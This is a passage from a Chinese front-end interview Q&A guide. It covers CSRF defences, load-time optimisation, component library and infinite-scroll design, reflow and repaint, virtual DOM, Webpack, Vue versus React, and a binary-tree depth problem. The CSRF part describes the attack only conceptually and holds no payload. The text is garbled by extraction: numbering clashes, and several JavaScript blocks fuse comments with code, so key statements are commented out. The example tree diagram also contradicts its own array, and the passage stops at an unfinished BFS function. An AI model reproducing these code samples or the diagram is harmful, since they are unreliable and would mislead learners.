- c. 这个网站上有一个隐藏的图片或表单，它会自动向银行发起一个转账请求：``。

- d. 浏览器在请求这个 URL 时，会自动带上 `bank.com` 的 Cookie。

- e. 银行服务器收到请求后，验证 Cookie 发现是你本人，于是在你不知情的情况下完成了转账。

- **如何防范:**

- a. **验证 Referer:** 在服务器端检查 HTTP 请求头中的 `Referer` 字段，确保请求来自合法的源。但 `Referer` 可以被伪造。
- b. **使用 CSRF Token (核心):**
 - 用户登录后，服务器生成一个随机的、不可预测的 Token，并将其返回给前端（可以放在 `meta` 标签或返回的 JSON 中）。
 - 前端在发起所有敏感操作（如 POST, PUT, DELETE 请求）时，都需要在请求头（如 `X-CSRF-Token`）或请求体中携带这个 Token。
 - 服务器端在收到请求后，验证这个 Token 是否与服务器端保存的一致。由于攻击者无法获取到这个 Token，因此无法伪造请求。
- c. **SameSite Cookie 属性:** 为 Cookie 设置 `SameSite` 属性，可以防止浏览器在跨站请求中携带 Cookie。
 - `Strict`: 完全禁止第三方 Cookie。
 - `Lax`: 大部分情况下禁止，允许导航到目标网站的 GET 请求携带。
 - `None`: 允许跨站携带，但必须同时设置 `Secure` 属性（即只能在 HTTPS 下发送）。

6. 如果一个页面加载很慢，你觉得可能是什么原因导致的？你会从哪些方面去排查和优化？

页面加载慢是一个综合性问题，我会从**网络、服务端和前端**三个层面进行系统性排查。我会使用 Chrome DevTools 的 Network 和 Performance 面板作为主要的分析工具。

可能的原因及排查优化方案:

7. 网络层面 (Network)

- **原因:**
 - **DNS 查询慢:** 域名解析耗时过长。
 - **TCP 连接慢:** 网络状况不佳，建立连接耗时。
 - **HTTP 请求过多:** 页面资源（JS, CSS, 图片）数量太多，导致大量的 TCP 连接和请求。
 - **带宽低/网络延迟高:** 用户自身网络环境差，或服务器距离用户太远。
 - **资源未压缩:** JS, CSS, HTML, 图片等资源文件体积过大。
- **排查与优化:**
 - **使用 CDN:** 将静态资源部署到 CDN，利用其边缘节点为用户提供就近访问，减少网络延迟。
 - **减少 HTTP 请求:**
 - **合并文件:** 使用 Webpack 等构建工具将 JS 和 CSS 文件合并。
 - **CSS Sprites (雪碧图):** 将多个小图标合并成一张大图。

- **图片 Base64:** 将小图片转为 Base64 内联到 CSS 或 HTML 中。
- **压缩资源:**
 - 使用 Gzip 或 Brotli 压缩 HTML, CSS, JS 文件。
 - 压缩图片（使用 `image-webpack-loader` 或在线工具），选择合适的图片格式（WebP）。
- **启用 HTTP/2:** HTTP/2 支持多路复用，可以并行处理多个请求，有效解决 HTTP/1.1 的队头阻塞问题。

8. 服务端层面 (Server)

- **原因:**
 - **服务器响应慢 (TTFB 过长):** 服务器硬件配置低、后端代码逻辑复杂、数据库查询效率低下。
 - **未启用缓存:** 服务器没有配置合理的 HTTP 缓存策略。
- **排查与优化:**
 - **优化后端逻辑:** 检查后端代码，优化数据库查询（如添加索引），增加缓存层（如 Redis）。
 - **增加服务器配置或负载均衡。**
 - **配置 HTTP 缓存:** 合理配置 `Cache-Control`，`Expires`，`ETag`，`Last-Modified`，充分利用浏览器强缓存和协商缓存。

9. 前端层面 (Frontend)

- **原因:**
 - **关键渲染路径 (Critical Rendering Path) 阻塞:**
 - CSS 文件放在页面底部，导致浏览器需要等待 CSS 下载完才能渲染。
 - JS 文件没有使用 `async` 或 `defer`，阻塞了 HTML 的解析和渲染。
 - **打包体积过大:**
 - 引入了不必要的库或模块。
 - 没有进行代码分割和摇树 (Tree Shaking)。
 - **渲染性能差:**
 - DOM 结构过于复杂。
 - 频繁的重排和重绘。
 - 大量的 JS 计算或复杂的动画。
- **排查与优化:**
 - **优化关键渲染路径:**
 - 将 CSS `<link>` 标签放在 `<head>` 中。

- 将 JS `<script>` 标签放在 `</body>` 之前，或使用 `defer` / `async` 属性。
- 减小打包体积:
 - 使用 Webpack 的 `SplitChunks` 进行代码分割。
 - 使用动态 `import()` 实现路由和组件的懒加载（按需加载）。
 - 开启 Tree Shaking 移除死代码。
 - 使用 `webpack-bundle-analyzer` 分析包体积，替换或移除体积过大的库。
- 提升渲染性能:
 - 使用虚拟滚动（长列表优化）。
 - 使用图片懒加载。
 - 减少 DOM 操作，尽量批量处理。
 - 使用 `transform` 和 `opacity` 实现动画，以利用 GPU 加速。
- 使用预加载技术:
 - 使用 `<link rel="preload">` 或 `<link rel="prefetch">` 预加载关键资源。

10. 设计一个组件库，你会考虑哪些方面？

设计一个高质量的组件库是一个系统性工程，我会从以下几个方面来考虑：

1. 设计原则与规范:

- **一致性:** 组件的视觉风格、API 设计、交互行为应保持高度一致。
- **可用性 (Accessibility, A11y):** 确保组件对所有用户（包括残障人士）都可用，遵循 WAI-ARIA 标准，提供良好的键盘交互和屏幕阅读器支持。
- **原子化:** 将组件拆分为最小可用单元（原子组件），然后组合成更复杂的组件。
- **设计规范文档:** 提供清晰的设计稿和设计语言（Design Language），包括色彩、字体、间距、布局等。

2. 组件 API 设计:

- **易用性:** API 应直观、易于理解和记忆。Props 的命名应清晰明了。
- **灵活性与可扩展性:** 提供足够的 Props 和 Slots 来满足不同场景的定制化需求，但也要避免过度设计。
- **受控与非受控:** 对于表单类组件，要考虑同时支持受控模式（由父组件管理状态）和非受控模式（组件内部管理状态）。
- **事件:** 提供清晰的事件系统（`$emit`），让父组件可以响应组件内部的用户交互。

3. 技术架构与工程化:

- **框架选型:** 确定基于 Vue 还是 React 等。
- **Monorepo:** 采用 Monorepo 架构（如 Lerna 或 pnpm workspace）来管理多个组件包，便于统一管理依赖和版本。
- **打包构建:** 使用 Webpack 或 Vite/Rollup 进行打包，需要输出多种格式（UMD, ESM, CJS）以适应不同环境。
- **按需加载:** 必须支持按需加载，用户可以只引入他们需要的组件，而不是整个库。这通常通过构建 ESM 格式并配合 Tree Shaking 实现。
- **主题定制:** 提供简单的方式让用户可以定制组件库的主题（如颜色、字体大小），通常通过 CSS 变量或预处理器（Sass/Less）变量来实现。

4. 文档与示例:

- **高质量的文档:** 每个组件都应有详细的文档，包括功能介绍、API 列表、使用示例和最佳实践。
- **交互式示例:** 提供可以在线编辑和运行的代码示例（如 Storybook, CodeSandbox）。
- **清晰的上手指南和更新日志 (Changelog)。**

5. 质量保障:

- **单元测试:** 使用 Jest, Vitest 等框架为每个组件编写单元测试，确保其功能稳定。
- **代码规范:** 引入 ESLint, Prettier, Stylelint 并结合 pre-commit 钩子来保证代码风格和质量的统一。
- **TypeScript:** 使用 TypeScript 编写，提供完整的类型定义，增强代码的健壮性和可维护性。
- **CI/CD:** 搭建持续集成和持续部署流程，自动运行测试、构建和发布。

6. 如果要你设计一个支持无限滚动加载的信息流页面，你会怎么设计？需要考虑哪些问题？

设计一个无限滚动加载的信息流（如微博、Twitter feed），我会从以下几个方面进行设计和考量：

7. 前端设计与实现:

• 数据请求与状态管理:

- **分页逻辑:** 前端需要维护一个页码（`page`）或偏移量（`offset`）的状态。每次滚动到底部时，`page++` 并向后端请求下一页数据。
- **加载状态:** 需要维护一个加载状态（`isLoading`），防止在一次请求未完成时重复发送请求。同时，这个状态可以用来显示加载中的 UI（如菊花图）。
- **数据拼接:** 每次请求回来的新数据列表，需要拼接到现有的数据列表之后。

• 滚动事件监听与性能:

- **触底判断:** 监听 `window` 或特定滚动容器的 `scroll` 事件。通过 `element.scrollHeight - element.scrollTop === element.clientHeight` 来判断是否滚动到底部（需要考虑一定的误差阈值）。
- **节流 (Throttling):** `scroll` 事件会非常频繁地触发，必须使用**节流**函数来包裹事件处理程序，以降低触发频率，避免性能问题。例如，每 200ms 才检查一次是否触底。
- **DOM 性能优化 (核心):**
 - **虚拟列表 (Virtual List / Virtual Scrolling):** 这是无限滚动最关键的性能优化点。随着列表项的不断增多，DOM 节点会变得非常庞大，导致页面滚动卡顿和内存占用过高。
 - **原理:** 虚拟列表只渲染视口内 (viewport) 可见的少量列表项，以及在视口上下方保留一部分缓冲区。通过一个大的滚动容器来模拟整个列表的高度，当用户滚动时，动态地计算和更新需要渲染的列表项，并使用 `transform: translateY()` 来平移列表项的位置，模拟滚动的效果。这样可以保持 DOM 节点的数量在一个很小的常数级别。
- **用户体验 (UX):**
 - **加载指示器:** 在请求数据时，在列表底部显示一个加载中的动画。
 - **“没有更多了” 状态:** 当后端返回的数据为空时，显示一个“没有更多数据了”的提示。
 - **错误处理:** 如果请求失败，需要给用户一个明确的提示，并提供一个“点击重试”的按钮。
 - **滚动位置恢复:** 如果用户离开页面再返回，应该能恢复到上次浏览的位置。这可以通过 `sessionStorage` 或路由元信息来记录滚动位置。
 - **骨架屏 (Skeleton Screen):** 在首次加载或请求新数据时，使用骨架屏来优化加载体验。

8. 后端接口设计:

- **分页支持:** 接口必须支持分页，通常接收 `page` 和 `pageSize` (或 `limit` 和 `offset`) 作为参数。
- **高效查询:** 数据库查询必须高效，特别是对于深分页（请求很靠后的页面），需要优化查询（例如使用“游标分页”代替传统的 `LIMIT OFFSET`）。
- **返回值:** 接口应返回当前页的数据列表，以及一个表示是否还有更多数据的字段（如 `hasMore: true/false`），或者总条目数。

总结设计流程:

1. 搭建基本页面结构，使用 Vuex 或 `ref` 管理数据列表 `list`、页码 `page`、加载状态 `isLoading` 等。
2. 封装一个 `fetchData` 方法，用于请求数据，并在请求成功后将数据追加到 `list` 中。
3. 在 `mounted` 钩子中首次调用 `fetchData`。
4. 监听滚动事件，并使用节流函数。在事件处理中判断是否触底，如果触底且 `isLoading` 为 `false`，则调用 `fetchData`。

5. 引入或实现一个虚拟列表组件，将 `list` 作为数据源传入，替代简单的 `v-for` 渲染。
6. 完善加载中、加载失败、“没有更多了”等各种边界状态的 UI 展示。
7. 聊聊浏览器的渲染原理，重排（Reflow）和重绘（Repaint）是什么？什么操作会触发？

浏览器的渲染原理，即浏览器将 HTML, CSS, JS 等资源转换为可视化页面的过程，通常被称为**关键渲染路径 (Critical Rendering Path)**。

主要步骤如下：

1. **解析 HTML 生成 DOM 树 (DOM Tree)**: 浏览器从上到下解析 HTML 文档，生成一个树状结构的 DOM 节点集合。
2. **解析 CSS 生成 CSSOM 树 (CSSOM Tree)**: 浏览器解析所有 CSS（外部、内部、内联），生成一个包含所有节点样式信息的树状结构。
3. **合并 DOM 和 CSSOM 生成渲染树 (Render Tree)**: 浏览器将 DOM 树和 CSSOM 树结合起来，生成渲染树。渲染树只包含需要**可见**的节点（`display: none` 的节点以及 `<head>` 等不可见标签不会在渲染树中），并带有它们的样式信息。
4. **布局 (Layout / Reflow)**: 浏览器根据渲染树，计算出每个节点在屏幕上的**确切几何信息**（位置、大小、尺寸）。这个过程也叫**重排 (Reflow)**。
5. **绘制 (Paint / Repaint)**: 浏览器根据布局阶段计算出的信息，将每个节点**绘制**到屏幕上（填充颜色、绘制文本、边框等）。这个过程也叫**重绘 (Repaint)**。
6. **合成 (Composite)**: 浏览器将页面分成多个图层，将这些图层分别光栅化，然后由 GPU 将它们合成为最终的屏幕图像。

重排 (Reflow):

- **是什么**: 当元素的**几何属性**（如宽度、高度、位置、边距）发生变化，导致浏览器需要**重新计算**元素在设备视口内的确切位置和大小过程，就是重排。
- **特点**: 重排是一个成本非常高的操作，因为它可能会导致其所有子元素以及后续兄弟元素、甚至整个页面的重新布局。**重排必然会触发重绘**。
- **触发操作**:
 - 页面首次渲染。
 - 浏览器窗口大小改变。
 - 添加或删除可见的 DOM 节点。
 - 元素尺寸或位置改变（`width`，`height`，`margin`，`padding`，`left`，`top` 等）。
 - 元素内容改变，例如文本数量或图片大小改变，导致盒子尺寸变化。

- **读取某些几何属性**，如 `offsetTop`，`offsetLeft`，`offsetWidth`，`offsetHeight`，`scrollTop`，`scrollLeft`，`scrollWidth`，`scrollHeight`，`clientTop`，`clientWidth`，`getComputedStyle()`。浏览器为了返回准确的值，会强制刷新队列，立即执行一次重排。

重绘 (Repaint):

- **是什么:** 当元素的**外观样式**（如颜色、背景、可见性）发生变化，但其几何属性没有改变时，浏览器只需要重新将元素的外观绘制一遍，这个过程就是重绘。
- **特点:** 重绘的成本比重排低。**重绘不一定会触发重排。**
- **触发操作:**
 - 改变 `color`，`background-color`，`outline`，`visibility`，`text-decoration` 等不影响布局的样式。

7. 如何减少重排和重绘?

减少重排和重绘是前端性能优化的一个核心环节。

1. CSS 层面:

- **避免使用 table 布局:** table 中一个微小的改动就可能导致整个 table 的重排。
- **使用 `transform` 和 `opacity` 实现动画:** 这两个属性的改变只会触发**合成 (Composite)**，不会触发重排和重绘，因为它们可以被 GPU 直接处理，性能最高。这被称为“硬件加速”。
- **避免使用 CSS 表达式:** 它们会在每次渲染时都重新计算。
- **将频繁重排的元素设置为一个独立的图层:** 使用 `will-change` 或 `transform: translateZ(0)` 等属性可以把元素提升为一个独立的合成层，其内部的重排和重绘不会影响到其他图层。但不能滥用，否则会消耗大量内存。

2. JavaScript 层面:

- **批量修改 DOM:**
 - **避免逐条修改样式:** 不要一条一条地修改 DOM 样式，而是将样式定义在一个 class 中，然后一次性修改元素的 `className`。

代码块

```
1  // 不好的做法
2  el.style.left = '10px';
3  el.style.top = '20px';
4  el.style.opacity = '0.5';
5
```

```
6 // 好的做法
7 el.className += ' new-class';
```

- 使用 **DocumentFragment** : 在需要对 DOM 进行复杂操作（如添加多个节点）时，可以创建一个 **DocumentFragment**，在它上面完成所有操作，然后一次性地将其添加到真实 DOM 中。

- 缓存布局信息:

- 在需要多次读取布局信息时，应将其缓存到一个变量中，避免在循环中反复读取导致强制重排。

代码块

```
1 // 不好的做法 for (let i = 0; i < elements.length; i++) {
2   elements[i].style.left = elements[i].offsetLeft + 10 + 'px';
3 }
4 // 好的做法 for (let i = 0; i < elements.length; i++) {
5   let currentLeft = elements[i].offsetLeft; // 先读
6   elements[i].style.left = currentLeft + 10 + 'px'; // 再写
7 }
```

- DOM 离线操作:

- 对一个元素进行复杂操作前，先将其 **display: none**（触发一次重排），然后在上面进行所有操作，最后再恢复显示（再触发一次重排）。这样只会引发两次重排。

3. 对虚拟 DOM 的理解，它解决了什么问题？为什么它会比直接操作真实 DOM 更快？

对虚拟 DOM (Virtual DOM, VDOM) 的理解:

虚拟 DOM 本质上是一个普通的 **JavaScript 对象**，它用来描述真实 DOM 的结构和状态。可以把它看作是真实 DOM 在内存中的一个轻量级、结构化的**映射或快照**。

当应用状态发生变化时，框架（如 Vue, React）会根据新的状态生成一个新的虚拟 DOM 树，然后通过一个高效的 **Diff 算法**，比较新旧两棵虚拟 DOM 树的差异，找出最小的变更集（需要新增、删除或修改的节点），最后将这些变更**一次性地、批量地**应用到真实的 DOM 上。

它解决了什么问题？

1. **性能问题**: 虚拟 DOM 的主要目的不是因为它本身比操作真实 DOM 快，而是为了**减少不必要和低效的真实 DOM 操作**。直接操作 DOM 的性能消耗很大（因为它会触发重排和重绘）。虚拟 DOM 通过 Diff 算法，将多次状态变更合并为一次最优的 DOM 操作，从而提高了性能。

2. **跨平台能力:** 虚拟 DOM 是一个纯粹的 JS 对象，它不依赖于浏览器环境。这使得框架能够基于虚拟 DOM 进行跨平台渲染，例如渲染到 Native (React Native)、Canvas (Weex) 等，而不仅仅是 Web 平台的 DOM。
3. **提升开发体验和效率:** 它让开发者可以从繁琐、命令式的 DOM 操作中解脱出来。开发者只需要关心数据状态 (声明式编程)，框架会自动处理后续的 DOM 更新，使得代码更易于维护和理解。

为什么它会比直接操作真实 DOM 更快?

这是一个常见的误解。需要澄清的是：**虚拟 DOM 并不总是比直接操作真实 DOM 快。**

- **单次操作:** 如果你只更新一个 DOM 节点，直接 `element.innerHTML = 'new text'` 毫无疑问比“创建 VDOM -> Diff -> Patch”更快。
- **多次、复杂操作:** 在现代 Web 应用中，一次用户交互可能会导致页面上多个部分的状态发生变化。如果手动去操作这些 DOM，可能会产生大量、无序、低效的 DOM 操作，引发多次重排和重绘。

虚拟 DOM 更快的原因在于：

1. **JS 计算远快于 DOM 操作:** 在 JavaScript 中创建和比较对象 (VDOM) 的速度，远比直接在浏览器中操作 DOM 节点要快得多。
2. **批量更新 (Batching):** 虚拟 DOM 的核心优势在于它能够将多次 DOM 操作**合并为一次**。Diff 算法计算出所有变更后，一次性地应用到真实 DOM 上，这极大地减少了重排和重绘的次数。
3. **最优化的变更:** Diff 算法能够找到从旧状态到新状态的最优更新路径，避免了不必要的 DOM 操作。

总结: 虚拟 DOM 的“快”是相对于“**频繁、未优化的手动 DOM 操作**”而言的。它的价值在于提供了一个性能下限较高、开发体验优秀的声明式编程模型，通过在内存中进行高效计算，最终实现对真实 DOM 的最小化和最优化的批量更新。

4. Webpack 的打包构建流程大概是怎样的？如何实现按需加载？

Webpack 的打包构建流程:

Webpack 的构建是一个串行的过程，其核心流程可以概括为以下几个步骤：

1. 初始化:

- **解析配置:** Webpack 从配置文件 (`webpack.config.js`) 和 Shell 参数中读取并合并配置，得到最终的配置对象。
- **创建 Compiler 对象:** 根据配置创建一个 `Compiler` 对象，这个对象是 Webpack 的主引擎，掌管着整个构建过程。
- **注册插件:** `Compiler` 对象会实例化所有配置的插件 (Plugins)，并调用插件的 `apply` 方法，让插件可以监听 Webpack 构建生命周期中的各种事件钩子。

2. 编译 (Compilation):

- **确定入口 (Entry):** `Compiler` 调用 `run` 方法开始编译，首先会根据配置的 `entry` 找到所有的入口文件。
- **创建 `Compilation` 对象:** 每一次构建都会创建一个 `Compilation` 对象，它代表了这次构建的上下文，包含了所有模块、资源、依赖关系等信息。
- **模块构建:** 从入口文件开始，`Compilation` 会执行以下操作：
 - a. **调用 `Loader`:** 对模块的源代码使用配置好的 `Loader` 进行**转换**（例如，`babel-loader` 将 ES6 转为 ES5，`sass-loader` 将 Sass 转为 CSS）。
 - b. **解析源码:** 使用 Acorn 等工具将转换后的代码解析成 **AST (抽象语法树)**。
 - c. **分析依赖:** 遍历 AST，找出该模块所依赖的其他模块（如 `require`，`import`）。
 - d. **递归构建:** 对新发现的依赖模块，重复执行“模块构建”步骤，直到所有依赖都被处理完毕。
- **生成依赖图:** 最终，所有模块和它们之间的依赖关系构成了一个完整的**依赖图 (Dependency Graph)**。

3. 输出 (Emit):

- **打包与生成资源:** `Compilation` 根据依赖图，将所有模块组装成一个个 **Chunk**（代码块）。
- **生成最终文件:** Webpack 将每个 Chunk 转换成一个单独的文件，并根据 `output` 配置，将这些文件输出到指定的路径。在这个过程中，Webpack 会将模块 ID 替换为实际的模块引用，并添加运行时代码（如 `__webpack_require__`）来管理模块的加载和执行。
- **触发 `emit` 钩子:** 在将文件写入磁盘之前，会触发 `emit` 钩子，插件可以在这个阶段对即将输出的文件内容进行最后修改。

4. 完成 (Done):

- 在所有文件都写入磁盘后，Webpack 触发 `done` 钩子，标志着本次构建流程结束。

如何实现按需加载?

按需加载（或懒加载）的核心是**代码分割 (Code Splitting)**，即把代码分离到不同的 `bundle`（包）中，然后在需要时才动态加载它们。

Webpack 实现按需加载主要依赖于 **动态 `import()`** 语法。

1. 使用动态 `import()`:

- 这是 ES2020 的一个新特性，它返回一个 **Promise**。
- 当 Webpack 在代码中遇到 `import('module-path')` 这样的语法时，它会自动将 `module-path` 及其依赖打包成一个**独立的 Chunk**。
- 这个 Chunk 不会包含在主包（entry bundle）中，而是在 `import()` 函数被调用时，通过动态创建 `<script>` 标签的方式从服务器异步加载。

2. 在 Vue 中的应用 (路由懒加载):

代码块

```
1  // vue-router 配置const router = new VueRouter({
2    routes: [
3      // 传统方式：组件会被打包到主文件中// { path: '/home', component: Home },// 懒加
      载方式：About 组件会被打包成一个单独的文件// 只有当用户访问 /about 路径时，这个文件才会
      被加载
4      {
5        path: '/about',
6        name: 'About',
7        component: () => import(/* webpackChunkName: "about" */
        './views/About.vue')
8      }
9    ]
10  })
```

- 这里的 `component` 被定义为一个返回 `import()` 的函数。
- `/* webpackChunkName: "about" */` 是一个“魔法注释”，可以给生成的 chunk 文件指定一个有意义的名字（如 `about.js`），便于调试。

当路由切换到 `/about` 时，`vue-router` 会执行这个函数，触发 `import()`，加载对应的 chunk 文件，加载完成后，Promise resolve，组件被渲染出来。这样就实现了按需加载，极大地优化了首屏加载性能。

3. 你们团队的代码规范是怎样的？如何保证团队成员都遵守？

建立并执行统一的代码规范对于提升代码质量、可读性和团队协作效率至关重要。

我们的代码规范主要包括：

1. 编码规范：

- **JavaScript:** 我们遵循 **Airbnb JavaScript Style Guide**，并根据团队习惯做了一些微调。例如，使用 `const` 和 `let`，优先使用箭头函数，使用模板字符串等。
- **Vue:** 遵循 **Vue 官方风格指南** 的“强烈推荐 (A)”和“必要 (B)”级别规则。例如，组件名应为多个单词，Prop 定义应尽量详细，为 `v-for` 设置 `key` 等。
- **CSS/SCSS:** 使用 BEM (Block, Element, Modifier) 命名规范，避免样式冲突。代码风格遵循 Stylelint 的标准配置。
- **命名规范:** 变量和函数使用小驼峰 (`camelCase`)，常量使用全大写下划线 (`UPPER_SNAKE_CASE`)，组件文件和类名使用大驼峰 (`PascalCase`)。

2. 注释规范：

- 对于复杂的业务逻辑、函数、或算法，必须添加清晰的注释。
- 公共组件的 Props 和 Events 必须有 JSDoc 注释。

3. Git 规范:

- **分支命名:** `feat/xxx`, `fix/xxx`, `refactor/xxx` 等。
- **Commit Message:** 遵循 **Angular Commit Message Conventions**。格式为 `type(scope): subject`, 例如 `feat(user): add login form validation`。这不仅清晰，还便于自动生成 `Changelog`。

如何保证团队成员遵守?

单靠文档和口头约定是不可靠的，我们主要通过**工具**和**流程**来强制保证规范的执行：

1. 工具强约束 (Linting):

- **ESLint:** 用于检查 JavaScript 和 Vue 代码的语法和风格问题。我们将配置好的 `.eslintrc.js` 文件提交到代码库中。
- **Prettier:** 用于代码格式化。它专注于代码的“风格”，而 ESLint 专注于“质量”。我们配置它在保存文件时自动格式化，确保所有人的代码风格（如缩进、换行、分号）完全一致。
- **Stylelint:** 用于检查 CSS/SCSS 的风格和错误。
- **EditorConfig:** 在项目根目录放置 `.editorconfig` 文件，统一不同编辑器和 IDE 的基本编码风格（如缩进大小、字符集）。

2. 流程保障:

- **Git Hooks:** 我们使用 `husky` 和 `lint-staged` 这两个工具。
 - 在 `pre-commit`（提交前）这个钩子中，`lint-staged` 会自动对**本次提交中被修改过的文件**运行 ESLint, Prettier, Stylelint 进行检查和自动修复。
 - 如果存在无法自动修复的错误，**提交将被阻止**，强制开发者修复问题后才能提交。这从源头上保证了进入代码库的代码都是符合规范的。
- **Code Review (代码审查):** 这是保障代码质量和规范的最后一道防线。所有代码在合并到主分支前，都必须由至少一名其他团队成员进行审查。审查内容除了业务逻辑，也包括是否遵循了代码规范、命名是否合理、是否存在潜在风险等。
- **CI/CD 集成:** 在持续集成流水线中加入 Lint 检查步骤，如果代码不符合规范，构建将失败，无法部署。

通过“**文档宣导 + 工具强制 + 流程保障**”三位一体的方式，我们可以有效地在团队中推行和维护代码规范。

3. 除了 Vue，还了解过其他前端框架吗？比如 React，它们之间有什么异同？

是的，除了 Vue，我对 React 也有比较深入的了解和实践经验。它们是目前最主流的两个前端框架，有很多设计思想上的异同。

方面	Vue.js	React.js
定位/哲学	渐进式框架 (Progressive Framework) 。核心库只关注视图层，但生态完整，提供了 Vuex, Vue Router 等官方配套方案，易于整合。更像一个完整的解决方案。	一个用于构建用户界面的库 (A JavaScript library for building user interfaces) 。只专注于 UI 层，其他能力（路由、状态管理）都交由社区生态（如 React Router, Redux）来解决。
模板语法	模板 (Template) 。使用类似 HTML 的模板语法，通过指令 (v-if, v-for) 和插值 ({{ }}) 来声明式地将 DOM 绑定到数据。对初学者更友好，关注点分离更清晰。	JSX 。是 JavaScript 的语法扩展，允许在 JS 中编写类似 HTML 的代码。推崇 “All in JS”，将 HTML 结构、JS 逻辑和样式都放在 JS 文件中处理，提供了 JS 的全部编程能力。
响应式原理	可变数据 (Mutable) 。基于 Object.defineProperty (Vue 2) 或 Proxy (Vue 3) 实现响应式。当修改数据时（如 this.count++），Vue 会自动追踪变化并更新视图。	不可变数据 (Immutable) 。通常需要通过 setState 方法来更新状态，并且推荐使用不可变的方式（创建新对象/数组，而不是修改旧的），React 通过比较新旧状态的引用来决定是否重新渲染。
组件化	SFC (Single File Component / .vue 文件) 。将模板、脚本和样式封装在一个文件中，结构清晰，关注点分离。	函数组件/类组件 。所有东西都在 JS 文件中，组件就是一个函数或一个类。
		Redux 是社区最流行的解决方案。

状态管理	Vuex 是官方提供的状态管理库，与 Vue 深度集成，心智模型相对简单。	流行的解决方案，函数式编程思想，概念（Action, Reducer, Store）较多，有一定学习曲线。现在也有 MobX, Zustand, Recoil 等多种选择。React 16.8+ 推出的 Hooks API（useContext, useReducer）也提供了强大的内置状态管理能力。
API 设计	Options API (Vue 2) 将组件的不同逻辑（data, methods, computed）分散在不同选项中。 Composition API (Vue 3) 则允许将相关的逻辑组织在一起，更利于代码的组织 and 复用，类似 React Hooks。	类组件 (Class Components) 有生命周期方法。函数组件 + Hooks 是现代 React 的主流写法，通过 useState, useEffect 等 Hooks 在函数组件中使用状态和副作用。
上手难度	相对较低。模板语法和 Options API 对初学者更直观。文档非常清晰友好。	相对较高。需要理解 JSX 语法、函数式编程思想以及庞大的社区生态。

总结:

相似之处:

- 都使用了**虚拟 DOM**。
- 都提供了**组件化**的开发模式。
- 都专注于视图层，有配套的路由和状态管理库。
- 都有优秀的支持和庞大的社区。

主要差异:

- Vue** 提供了更多“开箱即用”的功能，对开发者更“友好”，心智负担小，提供了更平滑的学习曲线。

- **React** 更加灵活和自由，它只是一个 UI 库，给了开发者更多的选择权，但也意味着需要自己去组合和配置一个完整的技术栈。JSX 和函数式编程的思想让它在大型、复杂应用中表现出色。

选择哪个框架取决于团队的技术栈、项目需求和开发者的偏好。

4. 你在工作中是如何学习和提升自己的？

我认为作为一名前端工程师，持续学习是至关重要的，因为这个领域的技术更新迭代非常快。我的学习和提升方法主要有以下几个方面：

1. 打好坚实的基础：

- **深入阅读“红宝书”**：定期回顾《JavaScript 高级程序设计》、《CSS 世界》等经典书籍，确保自己对 JS、CSS、浏览器原理等基础知识有扎实的理解。基础决定了技术生涯的高度。

2. 紧跟技术前沿：

- **关注官方文档和博客**：对于我正在使用的技术（如 Vue, Webpack），我会把官方文档作为第一手资料，关注它们的发布日志 (Release Notes) 和官方博客，了解最新的特性和最佳实践。
- **订阅高质量的技术资讯**：关注一些优秀的技术周刊（如 Frontend Focus, JavaScript Weekly）、技术社区（如 aotu.io 凹凸实验室、AlloyTeam）、以及一些行业内有影响力的开发者的博客和 Twitter。
- **参与社区**：逛 GitHub，看看优秀项目的源码和 issue，了解大家在讨论什么问题。

3. 通过实践加深理解：

- **在工作中主动挑战**：在项目中遇到难题时，不满足于仅仅找到一个能用的解决方案，而是会深入研究其背后的原理，并思考是否有更优的方案。我会主动承担一些有挑战性的任务，比如性能优化、项目重构、搭建脚手架等。
- **编写技术博客和做内部分享**：“教是最好的学”。我会把学习到的新知识、解决问题的过程记录下来，写成博客。这不仅能帮助我梳理思路，加深理解，还能锻炼我的表达能力。我也会在团队内部进行技术分享。
- **做 Side Project (个人项目)**：业余时间，我会尝试用一些新技术或自己不熟悉的工具来做一个小项目。这是无压力地学习和实践新技术的最好方式。

4. 拓展知识广度：

- 除了前端，我也会学习一些后端（如 Node.js）、运维（如 Docker, Nginx）、网络协议等相关知识，这能让我对整个 Web 应用的生命周期有更全面的认识，从而更好地与团队其他角色协作，并做出更优的技术决策。

总而言之，我的方法是“**基础为根，实践为王，紧跟前沿，分享沉淀**”。

5. 算法题：给定一个二叉树，找出其最大深度。

题目要求:

二叉树的最大深度是指从根节点到最远叶子节点的最长路径上的节点数。

示例:

给定二叉树 [3,9,20,null,null,15,7],

代码块

```
1      3
2     / \
3    9  20
4   /  \
5  15   7
```

其最大深度为 3。

解题思路:

这个问题非常适合使用**递归**来解决。一个二叉树的最大深度，可以通过其左右子树的深度来推导。

- **基本情况 (Base Case):** 如果一个节点是 `null` (即空树)，那么它的深度就是 0。
- **递归关系:** 一个非空节点的最大深度，等于其**左子树的最大深度**和**右子树的最大深度**中的**较大值**，再加上 **1** (代表当前节点本身)。

所以，`maxDepth(node) = 1 + max(maxDepth(node.left), maxDepth(node.right))`。

我们可以通过深度优先搜索 (DFS) 的方式来实现这个递归。

代码实现 (JavaScript):

首先，定义一个二叉树节点的结构:

代码块

```
1  /**
2   * Definition for a binary tree node.
3   */function TreeNode(val, left, right) {
4     this.val = (val === undefined ? 0 : val);
5     this.left = (left === undefined ? null : left);
6     this.right = (right === undefined ? null : right);
7 }
```

然后，实现 `maxDepth` 函数:

```

1  /**
2   * @param {TreeNode} root
3   * @return {number}
4   */function maxDepth(root) {
5   // 基本情况：如果节点为空，深度为 0if (root === null) {
6   //   return 0;
7   }
8
9   // 递归计算左子树的最大深度const leftDepth = maxDepth(root.left);
10
11  // 递归计算右子树的最大深度const rightDepth = maxDepth(root.right);
12
13  // 当前节点的最大深度 = 1 (当前节点) + 左右子树中较大的深度return
14  Math.max(leftDepth, rightDepth) + 1;
15 }
16
17 // --- 测试用例 ---// 构建示例树: [3,9,20,null,null,15,7]const root = new
18 //   TreeNode(3);
19 root.left = new TreeNode(9);
20 root.right = new TreeNode(20);
21 root.right.left = new TreeNode(15);
22 root.right.right = new TreeNode(7);
23
24 console.log(maxDepth(root)); // 输出: 3// --- 另一个测试用例 ---const root2 =
25 //   new TreeNode(1, null, new TreeNode(2));
26 console.log(maxDepth(root2)); // 输出: 2

```

另一种解法 (广度优先搜索 - BFS):

我们也可以使用层序遍历 (BFS) 来解决。思路是逐层遍历树，记录遍历的层数。

1. 使用一个队列，初始时将根节点入队。
2. 记录深度 `depth`，初始为 0。
3. 当队列不为空时，循环：
 - 记录当前层的节点数量 `levelSize`。
 - `depth` 加 1。
 - 循环 `levelSize` 次，将当前层的所有节点出队，并将其非空的左右子节点入队。
4. 当外层循环结束时，`depth` 就是树的最大深度。

代码块

```

1  function maxDepthBFS(root) {

